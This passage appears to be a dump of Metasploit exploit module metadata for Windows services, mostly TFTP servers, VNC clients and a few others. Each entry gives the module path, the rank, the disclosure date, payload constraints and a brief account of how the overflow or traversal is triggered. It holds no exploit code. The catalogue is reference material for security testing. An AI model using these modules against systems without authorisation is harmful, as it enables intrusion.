       Rank: Excellent
  Disclosed: 2012-04-08

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a directory traversal vulnerability in the TFTP
  Server component of Distinct Intranet Servers version 3.10 which
  allows a remote attacker to write arbitrary files to the server file
  system, resulting in code execution under the context of 'SYSTEM'.
  This module has been tested successfully on TFTP Server version 3.10
  on Windows XP SP3 (EN).

End Exploit Number 2420

Begin Exploit Number 2421
       Name: D-Link TFTP 1.0 Long Filename Buffer Overflow
     Module: exploit/windows/tftp/dlink_long_filename
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2007-03-12

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in D-Link TFTP 1.0.
  By sending a request for an overly long file name, an attacker
  could overflow a buffer and execute arbitrary code. For best 
results,
  use bind payloads with nonx (No NX).

End Exploit Number 2421

Begin Exploit Number 2422
       Name: FutureSoft TFTP Server 2000 Transfer-Mode Overflow
     Module: exploit/windows/tftp/futuresoft_transfermode
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2005-05-31

Payload information:
  Space: 350
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in the FutureSoft TFTP 
Server
  2000 product. By sending an overly long transfer-mode string, we 
were able
  to overwrite both the SEH and the saved EIP. A subsequent write-
exception
  that will occur allows the transferring of execution to our 
shellcode
  via the overwritten SEH. This module has been tested against Windows
  2000 Professional and for some reason does not seem to work against
  Windows 2000 Server (could not trigger the overflow at all).

End Exploit Number 2422

Begin Exploit Number 2423
       Name: NetDecision 4.2 TFTP Writable Directory Traversal 
Execution
     Module: exploit/windows/tftp/netdecision_tftp_traversal
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-05-16

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in NetDecision 4.2 TFTP
server. The
  software contains a directory traversal vulnerability that allows a
remote attacker
  to write arbitrary file to the file system, which results in code
execution under
  the context of user executing the TFTP Server.

End Exploit Number 2423

Begin Exploit Number 2424
       Name: OpenTFTP SP 1.4 Error Packet Overflow
     Module: exploit/windows/tftp/opentftp_error_code
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2008-07-05

Payload information:
  Space: 5000
  Avoid: 3 characters

Description:
  This module exploits a buffer overflow in OpenTFTP Server SP 1.4.
The vulnerable
  condition triggers when the TFTP opcode is configured as an error
packet, the TFTP
  service will then format the message using a sprintf() function,
which causes an
  overflow, therefore allowing remote code execution under the context
of SYSTEM.

    The offset (to EIP) is specific to how the TFTP was started (as a
'Stand Alone',
  or 'Service').  By default the target is set to 'Service' because
that's the default
  configuration during OpenTFTP Server SP 1.4's installation.

End Exploit Number 2424

Begin Exploit Number 2425
       Name: Quick FTP Pro 2.1 Transfer-Mode Overflow
     Module: exploit/windows/tftp/quick_tftp_pro_mode
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2008-03-27

Payload information:
  Space: 460
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in the Quick TFTP Pro
server
  product. MS Update KB926436 screws up the opcode address being used
in oledlg.dll resulting
  in a DoS.  This is a port of a sploit by Mati "muts" Aharoni.

End Exploit Number 2425

Begin Exploit Number 2426
       Name: TFTPD32 Long Filename Buffer Overflow
     Module: exploit/windows/tftp/tftpd32_long_filename
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2002-11-19

Payload information:
  Space: 250
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in TFTPD32 version 2.21
  and prior. By sending a request for an overly long file name
  to the tftpd32 server, a remote attacker could overflow a buffer and
  execute arbitrary code on the system.

End Exploit Number 2426

Begin Exploit Number 2427
       Name: TFTPDWIN v0.4.2 Long Filename Buffer Overflow
     Module: exploit/windows/tftp/tftpdwin_long_filename
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2006-09-21

Payload information:
  Space: 284
  Avoid: 1 characters
```

```
Description:
  This module exploits the ProSysInfo TFTPDWIN threaded TFTP Server.
By sending
  an overly long file name to the tftpd.exe server, the stack can be
overwritten.

End Exploit Number 2427

Begin Exploit Number 2428
       Name: TFTP Server for Windows 1.4 ST WRQ Buffer Overflow
     Module: exploit/windows/tftp/tftpserver_wrq_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2008-03-26

Payload information:
  Space: 600
  Avoid: 2 characters

Description:
  This module exploits a vulnerability found in TFTP Server 1.4 ST.
The flaw
  is due to the way TFTP handles the filename parameter extracted from
a WRQ request.
  The server will append the user-supplied filename to TFTP server
binary's path
  without any bounds checking, and then attempt to check this path
with a fopen().
  Since this isn't a valid file path, fopen() returns null, which
allows the
  corrupted data to be used in a strcmp() function, causing an access
violation.

  Since the offset is sensitive to how the TFTP server is launched,
you must know
  in advance if your victim machine launched the TFTP as a 'Service'
or 'Standalone'
  , and then manually select your target accordingly. A successful
attempt will lead
  to remote code execution under the context of SYSTEM if run as a
service, or
  the user if run as a standalone. A failed attempt will result a
denial-of-service.

End Exploit Number 2428
```

```
Begin Exploit Number 2429
       Name: 3CTftpSvc TFTP Long Mode Buffer Overflow
     Module: exploit/windows/tftp/threectftpsvc_long_mode
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2006-11-27

Payload information:
  Space: 400
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in 3CTftpSvc 2.0.1. By
  sending a specially crafted packet with an overly long mode
  field, a remote attacker could overflow a buffer and execute
  arbitrary code on the system.

End Exploit Number 2429

Begin Exploit Number 2430
       Name: CA CAM log_security() Stack Buffer Overflow (Win32)
     Module: exploit/windows/unicenter/cam_log_security
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2005-08-22

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in the CA CAM service
  by passing a long parameter to the log_security() function.
  The CAM service is part of TNG Unicenter. This module has
  been tested on Unicenter v3.1.

End Exploit Number 2430

Begin Exploit Number 2431
       Name: RealVNC 3.3.7 Client Buffer Overflow
     Module: exploit/windows/vnc/realvnc_client
   Platform: Windows
       Arch: 
 Privileged: No
```

```
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2001-01-29

Payload information:
  Space: 500
  Avoid: 15 characters

Description:
  This module exploits a buffer overflow in RealVNC 3.3.7
(vncviewer.exe).

End Exploit Number 2431

Begin Exploit Number 2432
       Name: UltraVNC 1.0.1 Client Buffer Overflow
     Module: exploit/windows/vnc/ultravnc_client
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2006-04-04

Payload information:
  Space: 500
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in UltraVNC Win32
  Viewer 1.0.1 Release.

End Exploit Number 2432

Begin Exploit Number 2433
       Name: UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow
     Module: exploit/windows/vnc/ultravnc_viewer_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2008-02-06

Payload information:
  Space: 500

Description:
  This module exploits a buffer overflow in UltraVNC Viewer 1.0.2
Release.
```

```
  If a malicious server responds to a client connection indicating a
minor
  protocol version of 14 or 16, a 32-bit integer is subsequently read
from
  the TCP stream by the client and directly provided as the trusted
size for
  further reading from the TCP stream into a 1024-byte character array
on
  the stack.

End Exploit Number 2433

Begin Exploit Number 2434
       Name: WinVNC Web Server GET Overflow
     Module: exploit/windows/vnc/winvnc_http_get
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2001-01-29

Payload information:
  Space: 979
  Avoid: 8 characters

Description:
  This module exploits a buffer overflow in the AT&T WinVNC version
  <= v3.3.3r7 web server. When debugging mode with logging is
  enabled (non-default), an overly long GET request can overwrite
  the stack. This exploit does not work well with VNC payloads!

End Exploit Number 2434

Begin Exploit Number 2435
       Name: SafeNet SoftRemote IKE Service Buffer Overflow
     Module: exploit/windows/vpn/safenet_ike_11
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2009-06-01

Payload information:
  Space: 213
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in Safenet SoftRemote
IKE IreIKE.exe
  service. When sending a specially crafted udp packet to port 62514
an
  attacker may be able to execute arbitrary code. This module has
  been tested with Juniper NetScreen-Remote 10.8.0 (Build 20) using
  windows/meterpreter/reverse_ord_tcp payloads.

End Exploit Number 2435

Begin Exploit Number 2436
       Name: WinRM Script Exec Remote Code Execution
     Module: exploit/windows/winrm/winrm_script_exec
   Platform: Windows
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2012-11-01

Payload information:

Description:
  This module uses valid credentials to login to the WinRM service
  and execute a payload. It has two available methods for payload
  delivery: Powershell 2 (and above) and VBS CmdStager.

  The module will check if Powershell is available, and if so uses
  that method. Otherwise it falls back to the VBS CmdStager which is
  less stealthy.

End Exploit Number 2436

Begin Exploit Number 2437
       Name: MS04-045 Microsoft WINS Service Memory Overwrite
     Module: exploit/windows/wins/ms04_045_wins
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2004-12-14

Payload information:
  Space: 8000

Description:
  This module exploits an arbitrary memory write flaw in the
  WINS service. This exploit has been tested against Windows
  2000 only.
```

```
End Exploit Number 2437
```